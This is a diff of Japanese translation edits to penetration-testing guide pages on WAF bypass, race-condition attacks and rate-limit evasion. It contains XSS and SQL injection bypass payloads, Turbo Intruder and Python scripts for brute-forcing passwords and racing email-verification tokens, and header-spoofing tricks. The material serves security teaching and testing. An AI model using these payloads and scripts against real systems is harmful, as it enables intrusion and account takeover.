例えば、記事では**Akamaiがユーザー入力を10回デコードした**と述べられています。したがって、`<input/%2525252525252525253e/onfocus`のようなものは、Akamaiには`<input/>/onfocus`として見え、**タグが閉じているため問題ないと考えるかもしれません**。しかし、アプリケーションが入力を10回URLデコードしない限り、被害者は`<input/%25252525252525253e/onfocus`のようなものを見ることになり、**これはXSS攻撃に対して依然として有効です**。
|
||||||
|
|
||||||
したがって、これは**WAFがデコードして解釈するエンコードされたコンポーネントにペイロードを隠すことを可能にします**が、被害者はそれを見ません。
|
したがって、これは**WAFがデコードして解釈するエンコードされたコンポーネントにペイロードを隠すことを可能にします**が、被害者はそれを認識しません。
|
||||||
|
|
||||||
さらに、これはURLエンコードされたペイロードだけでなく、unicode、hex、octalなどの他のエンコーディングでも行うことができます。
|
さらに、これはURLエンコードされたペイロードだけでなく、unicode、hex、octalなどの他のエンコーディングでも行うことができます。
|
||||||
|
|
||||||
@ -158,11 +158,11 @@ Unicode 正規化の実装によって(詳細は [こちら](https://jlajara.g
|
|||||||
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
||||||
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
||||||
|
|
||||||
また、**一部のWAFがユーザー入力のコンテキストをどのように理解するかによって**、それを悪用することが可能であることも述べられています。ブログで提案された例は、Akamaiが`/*`と`*/`の間に何でも入れることを許可していることです(これは一般的にコメントとして使用されるため、潜在的に)。したがって、`/*'or sleep(5)-- -*/`のようなSQLインジェクションはキャッチされず、`/*`がインジェクションの開始文字列であり、`*/`がコメントされているため有効です。
|
また、**いくつかのWAFがユーザー入力のコンテキストをどのように理解するかによって**、それを悪用することが可能であることも述べられています。ブログで提案された例は、Akamaiが`/*`と`*/`の間に何でも入れることを許可していることです(これは一般的にコメントとして使用されるため、潜在的に)。したがって、`/*'or sleep(5)-- -*/`のようなSQLインジェクションはキャッチされず、`/*`がインジェクションの開始文字列であり、`*/`がコメントされているため有効です。
|
||||||
|
|
||||||
このようなコンテキストの問題は、WAFによって悪用されることが期待される脆弱性以外の**他の脆弱性を悪用するためにも使用できます**(例えば、これを使用してXSSを悪用することも可能です)。
|
このようなコンテキストの問題は、WAFによって悪用されることが期待される脆弱性以外の**他の脆弱性を悪用するためにも使用できます**(例えば、これを使用してXSSを悪用することも可能です)。
|
||||||
|
|
||||||
### H2Cスムギング <a href="#ip-rotation" id="ip-rotation"></a>
|
### H2Cスモグリング <a href="#ip-rotation" id="ip-rotation"></a>
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
h2c-smuggling.md
|
h2c-smuggling.md
|
||||||
@ -178,7 +178,7 @@ h2c-smuggling.md
|
|||||||
|
|
||||||
### 正規表現バイパス
|
### 正規表現バイパス
|
||||||
|
|
||||||
ファイアウォールの正規表現フィルターをバイパスするためにさまざまな技術が使用できます。例としては、大文字と小文字の交互、改行の追加、ペイロードのエンコーディングなどがあります。さまざまなバイパスのリソースは[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads)や[OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)で見つけることができます。以下の例は[この記事](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)から引用されています。
|
ファイアウォールの正規表現フィルターをバイパスするために、さまざまな技術が使用できます。例としては、大文字と小文字の交互使用、改行の追加、ペイロードのエンコーディングなどがあります。さまざまなバイパスのリソースは[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads)や[OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)で見つけることができます。以下の例は[この記事](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)から引用されています。
|
||||||
```bash
|
```bash
|
||||||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||||||
<<script>alert(XSS)</script> #prepending an additional "<"
|
<<script>alert(XSS)</script> #prepending an additional "<"
|
||||||
|
@ -9,19 +9,19 @@
|
|||||||
|
|
||||||
レースコンディションを利用する際の主な障害は、**処理時間にほとんど差がない状態で複数のリクエストが同時に処理されることを確保すること—理想的には1ms未満**です。
|
レースコンディションを利用する際の主な障害は、**処理時間にほとんど差がない状態で複数のリクエストが同時に処理されることを確保すること—理想的には1ms未満**です。
|
||||||
|
|
||||||
ここでは、リクエストを同期させるためのいくつかの技術を紹介します。
|
ここでは、リクエストの同期に関するいくつかの技術を紹介します。
|
||||||
|
|
||||||
#### HTTP/2 シングルパケット攻撃 vs. HTTP/1.1 ラストバイト同期
|
#### HTTP/2 シングルパケット攻撃 vs. HTTP/1.1 ラストバイト同期
|
||||||
|
|
||||||
- **HTTP/2**: 単一のTCP接続で2つのリクエストを送信することをサポートし、ネットワークのジッターの影響を軽減します。ただし、サーバー側の変動により、2つのリクエストでは一貫したレースコンディションの悪用には不十分な場合があります。
|
- **HTTP/2**: 単一のTCP接続で2つのリクエストを送信することをサポートし、ネットワークのジッターの影響を軽減します。ただし、サーバー側の変動により、2つのリクエストでは一貫したレースコンディションの悪用には不十分な場合があります。
|
||||||
- **HTTP/1.1 'ラストバイト同期'**: 20〜30のリクエストのほとんどの部分を事前に送信し、小さな断片を保持しておき、それを一緒に送信することで、サーバーへの同時到着を実現します。
|
- **HTTP/1.1 'ラストバイト同期'**: 20-30のリクエストのほとんどの部分を事前に送信し、小さな断片を保持しておき、それを一緒に送信することで、サーバーへの同時到着を実現します。
|
||||||
|
|
||||||
**ラストバイト同期の準備**には以下が含まれます:
|
**ラストバイト同期の準備**には以下が含まれます:
|
||||||
|
|
||||||
1. ストリームを終了せずに最終バイトを除いたヘッダーとボディデータを送信します。
|
1. ストリームを終了せずに最終バイトを除いたヘッダーとボディデータを送信します。
|
||||||
2. 初回送信後に100ms待機します。
|
2. 初回送信後に100ms待機します。
|
||||||
3. TCP_NODELAYを無効にして、Nagleのアルゴリズムを利用して最終フレームをバッチ処理します。
|
3. TCP_NODELAYを無効にして、Nagleのアルゴリズムを利用して最終フレームをバッチ処理します。
|
||||||
4. 接続を温めるためにピングを送信します。
|
4. 接続を温めるためにピングを行います。
|
||||||
|
|
||||||
保持されたフレームのその後の送信は、Wiresharkを使用して確認できる単一パケットでの到着をもたらすべきです。この方法は、RC攻撃に通常関与しない静的ファイルには適用されません。
|
保持されたフレームのその後の送信は、Wiresharkを使用して確認できる単一パケットでの到着をもたらすべきです。この方法は、RC攻撃に通常関与しない静的ファイルには適用されません。
|
||||||
|
|
||||||
@ -39,7 +39,7 @@ PHPのセッションハンドラーのようなフレームワークは、セ
|
|||||||
|
|
||||||
## 攻撃の例
|
## 攻撃の例
|
||||||
|
|
||||||
- **Tubo Intruder - HTTP2 シングルパケット攻撃 (1エンドポイント)**: **Turbo intruder**にリクエストを送信できます(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)。リクエスト内の**`%s`**の値をブルートフォースしたいものに変更できます。例えば、`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`のようにして、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択します:
|
- **Tubo Intruder - HTTP2 シングルパケット攻撃 (1エンドポイント)**: **Turbo intruder**にリクエストを送信できます(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)。リクエスト内の**`%s`**の値をブルートフォースしたい値に変更できます。例えば、`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`のように。そして、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択します:
|
||||||
|
|
||||||
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
@ -50,7 +50,7 @@ for password in passwords:
|
|||||||
engine.queue(target.req, password, gate='race1')
|
engine.queue(target.req, password, gate='race1')
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> ウェブがHTTP2をサポートしていない場合(HTTP1.1のみ)、`Engine.THREADED`または`Engine.BURP`を使用してください。`Engine.BURP2`の代わりに。
|
> ウェブがHTTP2をサポートしていない場合(HTTP1.1のみ)、`Engine.BURP2`の代わりに`Engine.THREADED`または`Engine.BURP`を使用してください。
|
||||||
|
|
||||||
- **Tubo Intruder - HTTP2シングルパケット攻撃(複数のエンドポイント)**: 1つのエンドポイントにリクエストを送信し、その後RCEをトリガーするために他のエンドポイントに複数のリクエストを送信する必要がある場合、`race-single-packet-attack.py`スクリプトを次のように変更できます:
|
- **Tubo Intruder - HTTP2シングルパケット攻撃(複数のエンドポイント)**: 1つのエンドポイントにリクエストを送信し、その後RCEをトリガーするために他のエンドポイントに複数のリクエストを送信する必要がある場合、`race-single-packet-attack.py`スクリプトを次のように変更できます:
|
||||||
```python
|
```python
|
||||||
@ -85,13 +85,13 @@ engine.openGate(currentAttempt)
|
|||||||
```
|
```
|
||||||
- **Repeater**でも、Burp Suiteの新しい「**Send group in parallel**」オプションを使用できます。
|
- **Repeater**でも、Burp Suiteの新しい「**Send group in parallel**」オプションを使用できます。
|
||||||
- **limit-overrun**の場合、グループに**同じリクエストを50回**追加するだけで済みます。
|
- **limit-overrun**の場合、グループに**同じリクエストを50回**追加するだけで済みます。
|
||||||
- **connection warming**のために、**グループ**の**最初**にウェブサーバーの非静的部分への**リクエスト**をいくつか**追加**することができます。
|
- **connection warming**のために、**グループ**の**最初**にウェブサーバーの非静的部分への**リクエスト**を**追加**することができます。
|
||||||
- **delaying**プロセスのために、**1つのリクエストと別のリクエストの間**に2つのサブステートステップで**追加のリクエストを挿入**することができます。
|
- **delaying**プロセスのために、**1つのリクエストと別のリクエストの間**に**追加のリクエストを挿入**することができます。
|
||||||
- **multi-endpoint** RCの場合、**隠れた状態**に送信される**リクエスト**を最初に送信し、その後に**隠れた状態を悪用する50のリクエスト**を送信することができます。
|
- **multi-endpoint** RCの場合、**隠れた状態**に送信される**リクエスト**を開始し、その後に**隠れた状態を悪用する50のリクエスト**を送信することができます。
|
||||||
|
|
||||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
- **Automated python script**: このスクリプトの目的は、ユーザーのメールを変更し、新しいメールの検証トークンが最後のメールに届くまで継続的に確認することです(これは、コード内でメールを変更できるRCが見られたためで、検証が古いメールに送信される可能性があるため、メールを示す変数が最初のもので既に populated されていました)。\
|
- **自動化されたPythonスクリプト**: このスクリプトの目的は、ユーザーのメールアドレスを変更し、新しいメールの検証トークンが最後のメールに届くまで継続的に確認することです(これは、コード内でメールを変更できるRCが見られたためで、検証が古いメールに送信される可能性があるため、メールを示す変数が最初のもので既に設定されていました)。\
|
||||||
「objetivo」という単語が受信したメールに見つかると、変更されたメールの検証トークンを受け取ったことがわかり、攻撃を終了します。
|
「objetivo」という単語が受信したメールに見つかると、変更されたメールの検証トークンを受け取ったことがわかり、攻撃を終了します。
|
||||||
```python
|
```python
|
||||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||||
@ -219,9 +219,9 @@ response = requests.get(url, verify=False)
|
|||||||
```
|
```
|
||||||
### シングルパケット攻撃の改善
|
### シングルパケット攻撃の改善
|
||||||
|
|
||||||
元の研究では、この攻撃には1,500バイトの制限があると説明されています。しかし、[**この投稿**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)では、**IP層のフラグメンテーションを使用してシングルパケット攻撃の1,500バイトの制限をTCPの**65,535 Bウィンドウ制限に拡張する方法**が説明されています**(単一のパケットを複数のIPパケットに分割し、異なる順序で送信することで、すべてのフラグメントがサーバーに到達するまでパケットの再構成を防ぐことができます)。この技術により、研究者は約166msで10,000リクエストを送信することができました。 
|
元の研究では、この攻撃には1,500バイトの制限があると説明されています。しかし、[**この投稿**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)では、**IPレイヤーのフラグメンテーションを使用してシングルパケット攻撃の1,500バイトの制限をTCPの**65,535 Bウィンドウ制限に拡張する方法**が説明されています**(1つのパケットを複数のIPパケットに分割し、異なる順序で送信することで、すべてのフラグメントがサーバーに到達するまでパケットの再構成を防ぐことができます)。この技術により、研究者は約166msで10,000リクエストを送信することができました。 
|
||||||
|
|
||||||
この改善により、同時に到着する必要がある数百/数千のパケットを必要とするRC攻撃がより信頼性の高いものになりますが、いくつかのソフトウェア制限がある可能性もあります。Apache、Nginx、Goなどの一般的なHTTPサーバーには、`SETTINGS_MAX_CONCURRENT_STREAMS`の設定がそれぞれ100、128、250に厳格に制限されています。しかし、NodeJSやnghttp2のような他のサーバーは無制限です。\
|
この改善により、同時に到着する必要がある数百または数千のパケットを必要とするRC攻撃がより信頼性の高いものになりますが、ソフトウェアの制限がある可能性もあります。Apache、Nginx、Goなどの一般的なHTTPサーバーには、`SETTINGS_MAX_CONCURRENT_STREAMS`の設定がそれぞれ100、128、250に厳格に制限されています。しかし、NodeJSやnghttp2のような他のサーバーは無制限です。\
|
||||||
これは基本的に、Apacheが単一のTCP接続から100のHTTP接続のみを考慮することを意味し(このRC攻撃を制限します)。
|
これは基本的に、Apacheが単一のTCP接続から100のHTTP接続のみを考慮することを意味し(このRC攻撃を制限します)。
|
||||||
|
|
||||||
この技術を使用したいくつかの例は、リポジトリ[https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)で見つけることができます。
|
この技術を使用したいくつかの例は、リポジトリ[https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)で見つけることができます。
|
||||||
@ -231,7 +231,7 @@ response = requests.get(url, verify=False)
|
|||||||
前の研究の前に、RCを引き起こすためにパケットをできるだけ早く送信しようとしたいくつかのペイロードがありました。
|
前の研究の前に、RCを引き起こすためにパケットをできるだけ早く送信しようとしたいくつかのペイロードがありました。
|
||||||
|
|
||||||
- **リピーター:** 前のセクションの例を確認してください。
|
- **リピーター:** 前のセクションの例を確認してください。
|
||||||
- **侵入者**: **リクエスト**を**侵入者**に送信し、**オプションメニュー内でスレッド数を**30**に設定し、ペイロードとして**Null payloads**を選択し、**30**を生成します。
|
- **侵入者**: **リクエスト**を**侵入者**に送信し、**オプションメニュー内でスレッド数を**30**に設定し、ペイロードとして**Null payloads**を選択し、**30を生成します**。
|
||||||
- **ターボ侵入者**
|
- **ターボ侵入者**
|
||||||
```python
|
```python
|
||||||
def queueRequests(target, wordlists):
|
def queueRequests(target, wordlists):
|
||||||
@ -283,25 +283,25 @@ asyncio.run(main())
|
|||||||
|
|
||||||
### Limit-overrun / TOCTOU
|
### Limit-overrun / TOCTOU
|
||||||
|
|
||||||
これは、**アクションを実行できる回数を制限する場所に**現れる**脆弱性**の最も基本的なタイプのレースコンディションです。例えば、ウェブストアで同じ割引コードを何度も使用することです。非常に簡単な例は[**このレポート**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**このバグ**](https://hackerone.com/reports/759247)**に見られます。**
|
これは、**アクションを実行できる回数を制限する場所に現れる** **脆弱性**の最も基本的なタイプのレースコンディションです。例えば、ウェブストアで同じ割引コードを何度も使用することです。非常に簡単な例は[**このレポート**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**このバグ**](https://hackerone.com/reports/759247)**に見られます。**
|
||||||
|
|
||||||
この種の攻撃には多くのバリエーションがあります。例えば:
|
この種の攻撃には多くのバリエーションがあります。例えば:
|
||||||
|
|
||||||
- ギフトカードを複数回利用する
|
- ギフトカードを複数回利用する
|
||||||
- 商品を複数回評価する
|
- 商品を複数回評価する
|
||||||
- アカウント残高を超えて現金を引き出したり転送したりする
|
- アカウント残高を超えて現金を引き出したり転送したりする
|
||||||
- 単一のCAPTCHA解決策を再利用する
|
- 単一のCAPTCHAソリューションを再利用する
|
||||||
- アンチブルートフォースレート制限を回避する
|
- アンチブルートフォースレート制限を回避する
|
||||||
|
|
||||||
### **Hidden substates**
|
### **Hidden substates**
|
||||||
|
|
||||||
複雑なレースコンディションを悪用することは、隠れたまたは**意図しないマシンのサブステート**と相互作用するための短い機会を利用することを含むことがよくあります。これにアプローチする方法は次のとおりです:
|
複雑なレースコンディションを悪用することは、隠れたまたは**意図しないマシンのサブステート**と相互作用する短い機会を利用することを含むことがよくあります。これにアプローチする方法は次のとおりです:
|
||||||
|
|
||||||
1. **潜在的な隠れたサブステートを特定する**
|
1. **潜在的な隠れたサブステートを特定する**
|
||||||
- ユーザープロファイルやパスワードリセットプロセスなど、重要なデータを変更または相互作用するエンドポイントを特定することから始めます。以下に焦点を当てます:
|
- ユーザープロファイルやパスワードリセットプロセスなど、重要なデータを変更または相互作用するエンドポイントを特定することから始めます。以下に焦点を当てます:
|
||||||
- **ストレージ**:クライアント側のデータを扱うエンドポイントよりも、サーバー側の永続データを操作するエンドポイントを優先します。
|
- **ストレージ**:クライアント側のデータを扱うエンドポイントよりも、サーバー側の永続データを操作するエンドポイントを優先します。
|
||||||
- **アクション**:新しいデータを追加するよりも、既存のデータを変更する操作を探します。これらの方が悪用可能な条件を作成する可能性が高いです。
|
- **アクション**:既存のデータを変更する操作を探します。これは新しいデータを追加する操作よりも、悪用可能な条件を作成する可能性が高いです。
|
||||||
- **キー**:成功した攻撃は通常、同じ識別子(例:ユーザー名やリセットトークン)に基づく操作を含みます。
|
- **キーイング**:成功した攻撃は通常、同じ識別子(例:ユーザー名やリセットトークン)に基づく操作を含みます。
|
||||||
2. **初期プロービングを実施する**
|
2. **初期プロービングを実施する**
|
||||||
- 特定したエンドポイントに対してレースコンディション攻撃をテストし、期待される結果からの逸脱を観察します。予期しない応答やアプリケーションの動作の変化は脆弱性を示す可能性があります。
|
- 特定したエンドポイントに対してレースコンディション攻撃をテストし、期待される結果からの逸脱を観察します。予期しない応答やアプリケーションの動作の変化は脆弱性を示す可能性があります。
|
||||||
3. **脆弱性を示す**
|
3. **脆弱性を示す**
|
||||||
@ -323,31 +323,31 @@ asyncio.run(main())
|
|||||||
|
|
||||||
## Hidden substates ケーススタディ
|
## Hidden substates ケーススタディ
|
||||||
|
|
||||||
### アイテムを支払って追加する
|
### 支払いとアイテムの追加
|
||||||
|
|
||||||
この[**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)をチェックして、**支払い**を行い、**追加のアイテムを**支払わずに**追加する方法を確認してください。**
|
この[**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)をチェックして、**支払い**を行い、**追加の**アイテムを**支払わずに追加する**方法を確認してください。
|
||||||
|
|
||||||
### 他のメールを確認する
|
### 他のメールの確認
|
||||||
|
|
||||||
アイデアは、**メールアドレスを確認し、同時に別のものに変更する**ことで、プラットフォームが変更された新しいものを確認するかどうかを調べることです。
|
アイデアは、**メールアドレスを確認し、同時に別のものに変更する**ことで、プラットフォームが変更された新しいものを確認するかどうかを調べることです。
|
||||||
|
|
||||||
### 2つのメールアドレスにメールを変更する Cookieベース
|
### 2つのメールアドレスへのメール変更 Cookieベース
|
||||||
|
|
||||||
[**この研究**](https://portswigger.net/research/smashing-the-state-machine)によると、Gitlabはこの方法で乗っ取られる脆弱性があり、**1つのメールのメール確認トークンを別のメールに**送信する可能性があります。
|
[**この研究**](https://portswigger.net/research/smashing-the-state-machine)によると、Gitlabはこの方法で乗っ取られる脆弱性があり、**1つのメールのメール確認トークンを別のメールに送信する可能性があります**。
|
||||||
|
|
||||||
**これを試すには** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **をチェックしてください。**
|
**これを試すには** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **をチェックしてください。**
|
||||||
|
|
||||||
### 隠れたデータベースの状態 / 確認バイパス
|
### 隠れたデータベースの状態 / 確認バイパス
|
||||||
|
|
||||||
**2つの異なる書き込み**が**データベース内に情報を追加する**ために使用される場合、**最初のデータのみがデータベースに書き込まれた**小さな時間の部分があります。例えば、ユーザーを作成する際に、**ユーザー名**と**パスワード**が**書き込まれ**、**新しく作成されたアカウントを確認するためのトークン**が書き込まれます。これは、**アカウントを確認するためのトークンがnullである**小さな時間があることを意味します。
|
**2つの異なる書き込み**が**データベース**内に**情報**を**追加する**ために使用される場合、**最初のデータのみがデータベースに書き込まれた**小さな時間の部分があります。例えば、ユーザーを作成する際に、**ユーザー名**と**パスワード**が**書き込まれ**、**新しく作成されたアカウントを確認するためのトークン**が書き込まれます。これは、短い時間の間に**アカウントを確認するためのトークンがnullである**ことを意味します。
|
||||||
|
|
||||||
したがって、**アカウントを登録し、空のトークン**(`token=`または`token[]=`または他のバリエーション)を使用してアカウントをすぐに確認するために複数のリクエストを送信することで、**メールを制御していないアカウントを確認する**ことができる可能性があります。
|
したがって、**アカウントを登録し、空のトークン**(`token=`または`token[]=`またはその他のバリエーション)を使用してアカウントをすぐに確認するために複数のリクエストを送信することで、メールを制御していないアカウントを**確認する**ことができる可能性があります。
|
||||||
|
|
||||||
**これを試すには** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **をチェックしてください。**
|
**これを試すには** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **をチェックしてください。**
|
||||||
|
|
||||||
### 2FAをバイパスする
|
### 2FAのバイパス
|
||||||
|
|
||||||
以下の擬似コードは、セッションが作成されている間に**2FAが強制されていない**ため、レースコンディションに脆弱です:
|
以下の擬似コードは、非常に短い時間の間に**2FAが強制されていない**ため、レースコンディションに脆弱です:
|
||||||
```python
|
```python
|
||||||
session['userid'] = user.userid
|
session['userid'] = user.userid
|
||||||
if user.mfa_enabled:
|
if user.mfa_enabled:
|
||||||
@ -357,20 +357,20 @@ session['enforce_mfa'] = True
|
|||||||
```
|
```
|
||||||
### OAuth2 永続的な持続性
|
### OAuth2 永続的な持続性
|
||||||
|
|
||||||
いくつかの [**OAUth プロバイダー**](https://en.wikipedia.org/wiki/List_of_OAuth_providers) があります。これらのサービスを使用すると、アプリケーションを作成し、プロバイダーが登録したユーザーを認証できます。そのためには、**クライアント**が **あなたのアプリケーション** に **いくつかのデータへのアクセスを許可する必要があります** **OAUth プロバイダー** 内の。\
|
いくつかの [**OAUth プロバイダー**](https://en.wikipedia.org/wiki/List_of_OAuth_providers) があります。これらのサービスを使用すると、アプリケーションを作成し、プロバイダーが登録したユーザーを認証できます。そのためには、**クライアント**が**あなたのアプリケーション**に**OAUth プロバイダー**内のデータにアクセスすることを**許可する**必要があります。\
|
||||||
ここまでのところ、google/linkedin/github などの一般的なログインで、"_アプリケーション \<InsertCoolName> があなたの情報にアクセスしたいと考えています。許可しますか?_" というページが表示されます。
|
ここまでのところ、google/linkedin/githubなどの一般的なログインで、"_アプリケーション \<InsertCoolName> があなたの情報にアクセスしたいと考えています。許可しますか?_"というページが表示されます。
|
||||||
|
|
||||||
#### `authorization_code` におけるレースコンディション
|
#### `authorization_code` におけるレースコンディション
|
||||||
|
|
||||||
**問題** は、あなたが **それを受け入れたとき** に発生し、悪意のあるアプリケーションに **`authorization_code`** が自動的に送信されることです。次に、この **アプリケーションは OAUth サービスプロバイダーのレースコンディションを悪用して、あなたのアカウントの **`authorization_code`** から複数の AT/RT** (_認証トークン/リフレッシュトークン_) を生成します。基本的に、あなたがアプリケーションにデータへのアクセスを許可したという事実を悪用して **複数のアカウントを作成します**。その後、もしあなたが **アプリケーションにデータへのアクセスを許可しなくなった場合、1対の AT/RT は削除されますが、他のものはまだ有効です**。
|
**問題**は、あなたが**それを受け入れる**と、自動的に悪意のあるアプリケーションに**`authorization_code`**が送信されるときに発生します。その後、この**アプリケーションは OAUth サービスプロバイダーのレースコンディションを悪用して、あなたのアカウントの**`authorization_code`**から複数の AT/RT** (_認証トークン/リフレッシュトークン_) を生成します。基本的に、あなたがアプリケーションにデータへのアクセスを許可した事実を悪用して、**複数のアカウントを作成します**。その後、もしあなたが**アプリケーションにデータへのアクセスを許可しなくなった場合、1対の AT/RT は削除されますが、他のものはまだ有効です**。
|
||||||
|
|
||||||
#### `Refresh Token` におけるレースコンディション
|
#### `Refresh Token` におけるレースコンディション
|
||||||
|
|
||||||
一度 **有効な RT** を **取得すると、複数の AT/RT を生成するためにそれを悪用しようとすることができます**。さらに、**ユーザーが悪意のあるアプリケーションにデータへのアクセスの権限をキャンセルしても、**複数の RT はまだ有効です**。
|
一度**有効な RT**を**取得すると、複数の AT/RT**を生成するために**それを悪用しようとすることができます**。さらに、**ユーザーが悪意のあるアプリケーションにデータへのアクセスの権限をキャンセルしても、**複数の RT はまだ有効です**。
|
||||||
|
|
||||||
## **WebSockets における RC**
|
## **WebSockets における RC**
|
||||||
|
|
||||||
[**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) では、**並行して** WebSocket メッセージを送信して **Web Sockets におけるレースコンディションを悪用する** PoC を Java で見つけることができます。
|
[**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) では、**Web Sockets におけるレースコンディションを悪用するために、並行して WebSocket メッセージを送信する Java の PoC**を見つけることができます。
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
### 類似エンドポイントの探索
|
### 類似エンドポイントの探索
|
||||||
|
|
||||||
ターゲットエンドポイントのバリエーションに対してブルートフォース攻撃を試みるべきです。例えば、`/api/v3/sign-up`の代替として、`/Sing-up`、`/SignUp`、`/singup`、`/api/v1/sign-up`、`/api/sign-up`などがあります。
|
ターゲットエンドポイントのバリエーションに対してブルートフォース攻撃を試みるべきです。例えば、`/api/v3/sign-up`のようなエンドポイントに加え、`/Sing-up`、`/SignUp`、`/singup`、`/api/v1/sign-up`、`/api/sign-up`などの代替案も含まれます。
|
||||||
|
|
||||||
### コードやパラメータに空白文字を組み込む
|
### コードやパラメータに空白文字を組み込む
|
||||||
|
|
||||||
@ -38,7 +38,7 @@ X-Forwarded-For: 127.0.0.1
|
|||||||
|
|
||||||
### 各試行の前にアカウントにログインする
|
### 各試行の前にアカウントにログインする
|
||||||
|
|
||||||
各試行の前、または一連の試行の前にアカウントにログインすることで、レート制限カウンターをリセットできる場合があります。これは特にログイン機能をテストする際に便利です。Burp Suiteのようなツールでピッチフォーク攻撃を利用し、数回の試行ごとに資格情報を回転させ、リダイレクトをマークすることで、レート制限カウンターを効果的に再起動できます。
|
各試行の前、または試行のセットごとにアカウントにログインすることで、レート制限カウンターをリセットできる場合があります。これは特にログイン機能をテストする際に有用です。Burp Suiteのようなツールでピッチフォーク攻撃を利用し、数回の試行ごとに資格情報を回転させ、リダイレクトをマークすることで、レート制限カウンターを効果的に再起動できます。
|
||||||
|
|
||||||
### プロキシネットワークの利用
|
### プロキシネットワークの利用
|
||||||
|
|
||||||
@ -46,10 +46,10 @@ X-Forwarded-For: 127.0.0.1
|
|||||||
|
|
||||||
### 異なるアカウントやセッションに攻撃を分散させる
|
### 異なるアカウントやセッションに攻撃を分散させる
|
||||||
|
|
||||||
ターゲットシステムがアカウントまたはセッションごとにレート制限を適用する場合、攻撃やテストを複数のアカウントやセッションに分散させることで、検出を回避するのに役立ちます。このアプローチは、複数のアイデンティティやセッショントークンを管理する必要がありますが、許容範囲内に負荷を効果的に分散させることができます。
|
ターゲットシステムがアカウントまたはセッションごとにレート制限を適用する場合、攻撃やテストを複数のアカウントやセッションに分散させることで、検出を回避するのに役立ちます。このアプローチは、複数のアイデンティティやセッショントークンを管理する必要がありますが、許容範囲内に負荷を分散させることができます。
|
||||||
|
|
||||||
### 続けて試す
|
### 続けて試す
|
||||||
|
|
||||||
レート制限が存在していても、有効なOTPが送信されたときに応答が異なるかどうかを確認することをお勧めします。[**この投稿**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732)では、バグハンターが20回の不成功な試行の後に401で応答されるとレート制限が発動しても、有効なものが送信された場合には200の応答が受信されることを発見しました。
|
レート制限が存在していても、有効なOTPが送信されたときに応答が異なるかどうかを確認することをお勧めします。[**この投稿**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732)では、バグハンターが20回の不成功な試行の後にレート制限がトリガーされ、401で応答された場合でも、有効なものが送信された場合には200の応答が受信されたことを発見しました。
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -98,7 +98,7 @@ email=victim@mail.com|hacker@mail.com
|
|||||||
